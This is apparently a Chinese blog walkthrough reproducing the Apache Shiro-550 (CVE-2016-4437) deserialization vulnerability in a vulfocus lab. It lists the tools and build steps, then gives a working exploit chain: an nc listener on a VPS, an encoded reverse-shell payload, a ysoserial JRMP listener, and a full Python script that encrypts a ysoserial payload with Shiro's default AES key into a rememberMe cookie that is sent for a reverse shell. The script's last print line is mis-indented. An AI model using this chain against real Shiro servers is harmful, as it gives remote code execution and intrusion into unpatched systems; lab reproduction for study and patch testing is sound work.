Apache Shiro-550(CVE-2016-4437)

背景:
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

漏洞编号:
Apache Shiro-550(cve-2016-4437)

影响版本:
<= 1.2.4

环境搭建:
1,打开vulfocus靶场

2,使用浏览器访问

工具准备:
1,下载shiro_tool.jar漏洞验证工具
https://github.com/wyzxxz/shiro_rce_tool

2,下载maven 打tar包用
wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

使用tar解压缩包tar zxvf apache-maven-3.6.3-bin.tar.gz

将maven移动到/usr/local/下

使用vim编辑/etc/profile最下面加入两行环境变量

刷新环境变量source /etc/profile

3,下载ysoserial 生成Remember Me的工具
git clone https://github.com/frohoff/ysoserial.git

使用mvn打包编译
cd ysoserial
mvn package -D skipTests(打包完的ysoserial-0.0.6-SNAPSHOT-all.jar在ysoserial/target文件中)

漏洞复现:
1,使用shiro_tool.jar工具检测漏洞是否存在(检测存在默认key)

2,在VPS上开启nc监听

3,构造反弹shell地址,并使用网站加密
https://www.jackson-t.ca/runtime-exec-payloads.html

4,通过ysoserial中的JRMP监听模块,监听6666端口并执行反弹shell

5,在ysoserial的target目录中,创建一个shiro.py脚本
内容如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar','ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print("rememberMe={0}".format(payload.decode()))

6,运行shiro.py脚本(将shiro.py拷贝到ysoserial的target目录下,否则会找不到ysoserial-0.0.6-SNAPSHOT-all.jar)

7,点击网页红框

8,输入admin,admin登录,勾选Remember Me,并抓包,将shiro.py生成的cookie拼接到数据包的cookie后(注意有;)

9,点击发送数据包,VPS获得反弹shell

posted @ 2022-01-10 10:04  Colin.B  阅读(403)  评论(0编辑  收藏  举报